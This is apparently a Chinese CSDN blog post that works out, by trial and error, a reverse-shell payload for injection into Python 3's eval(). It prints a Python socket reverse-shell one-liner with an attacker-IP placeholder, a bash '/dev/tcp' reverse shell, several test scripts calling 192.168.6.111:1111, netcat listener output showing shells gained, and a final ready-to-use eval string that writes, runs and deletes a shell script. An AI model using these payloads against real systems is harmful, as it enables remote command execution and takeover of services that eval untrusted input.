python3 利用eval反弹shell

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/whatday/article/details/102748376

在最近的python开发中 用到了 字符串转字典 使用了eval 这让我想起了php中的eval 搜索一下果然问题严重

既然有问题 那就来试试反弹shell吧 看看效果

搜索一下 找到了 python的反弹shell 代码

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

写入测试 先验证一下是否正确:

# -*- coding:utf-8 -*-

if __name__ == "__main__":
    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.111",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])

nc监听  运行test.py  nc输出如下:

[root@localhost ~]$nc -l -p 1111
[root@8168b454c427 weak]$

通过提示符的不同 可以看到已经得到shell  继续测试eval

写入测试代码 test.py

# -*- coding:utf-8 -*-

if __name__ == "__main__":
    eval("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.6.111\",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'")

执行后报错:

[root@8168b454c427 weak]$python test.py
Traceback (most recent call last):
  File "test.py", line 6, in <module>
    eval("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.6.111\",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'")
  File "<string>", line 1
    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.111",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
         ^
SyntaxError: invalid syntax
[root@8168b454c427 weak]$

定位到import 缩短测试代码 定位错误 

# -*- coding:utf-8 -*-

if __name__ == "__main__":
    eval("import socket")

发现依然报错,错误如下:

[root@8168b454c427 weak]$python test.py
Traceback (most recent call last):
  File "test.py", line 5, in <module>
    eval("import socket")
  File "<string>", line 1
    import socket
         ^
SyntaxError: invalid syntax
[root@8168b454c427 weak]$

由此怀疑 不能使用 import 搜索下替换方案 发现有 __import__()  具体参考《python3 import 和__import__() 的区别

继续修改代码

# -*- coding:utf-8 -*-

if __name__ == "__main__":
    eval("__import__('socket')")

此时发现正常运行了 输出如下:

[root@8168b454c427 weak]$python test.py
[root@8168b454c427 weak]$

虽然导入成功但是通过 《python3 import 和__import__() 的区别》知道 __import__ 不会绑定变量 这意味代码中的每个变量 都要用__import__ 来代替使用,继续改下代码试试:

# -*- coding:utf-8 -*-

if __name__ == "__main__":
    eval("__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM).connect((\"192.168.6.111\",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'")

写到一半发现 无法实现了 因为后边的 os.dup2(s.fileno(),0) 中的s 是前边的socket对象 没有变量无法传递。。既然如此想想其他办法

这时想到了bash的反弹shell,如果用python来执行shell怎么样呢,查询一下代码如下:

bash -i >& /dev/tcp/192.168.6.111/1111 0>&1

可以看出十分简短 直接放入python中测试:

# -*- coding:utf-8 -*-

if __name__ == "__main__":
    eval("__import__('subprocess').call(\"bash -i >& /dev/tcp/192.168.6.141/1111 0>&1\",shell=True)")

运行结果如下:

[root@8168b454c427 weak]$python test.py
/bin/sh: can't create /dev/tcp/192.168.6.111/1111: nonexistent directory
[root@8168b454c427 weak]$

报错 nonexistent directory 搜索一下无确切答案,但有提到 #!/bin/bash 问题 感觉是环境变量造成的问题 看到 #!/bin/bash 让我想到了shell脚本 是否写入脚本再执行试试呢

继续改写测试代码 这里把bash该为sh  一是简短代码  二是sh比bash更普遍存在各个linux发行版

# -*- coding:utf-8 -*-

if __name__ == "__main__":
    eval("__import__('subprocess').call(\"echo -e '#!/bin/bash\\nsh -i >& /dev/tcp/192.168.6.111/1111 0>&1'>x && bash x && rm -rf x\",shell=True)")

nc端输出:

[root@localhost ~]$nc -l -p 1111
/mnt/pandora/tools/weak #

可以见已经连上 想着优化一下 让整体代码短一点 继续修改:

# -*- coding:utf-8 -*-

if __name__ == "__main__":
    eval("__import__('subprocess').call(\"echo 'sh -i >& /dev/tcp/192.168.6.111/1111 0>&1'>x && bash x && rm -rf x\",shell=True)")

同样成功了,至此就得到了 python3 下 eval 反弹shell的字符串代码了:

"__import__('subprocess').call(\"echo 'sh -i >& /dev/tcp/192.168.6.111/1111 0>&1'>x && bash x && rm -rf x\",shell=True)"

文中涉及的知识点可以参考:

《python3 import 和__import__() 的区别》
https://blog.csdn.net/whatday/article/details/102748166

《python3 eval安全替代函数ast.literal_eval》
https://blog.csdn.net/whatday/article/details/102747599

《一句话反弹shell》
https://blog.csdn.net/whatday/article/details/102743552
 

猜你喜欢

转载自blog.csdn.net/whatday/article/details/102748376
今日推荐